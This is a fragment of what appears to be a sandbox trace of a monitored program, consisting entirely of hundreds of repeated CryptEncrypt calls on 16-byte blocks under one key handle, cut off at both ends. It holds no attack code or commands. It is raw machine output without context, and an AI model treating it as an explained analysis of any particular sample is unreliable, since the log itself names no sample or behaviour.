pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.287] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.288] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.289] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.290] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.291] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.292] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, 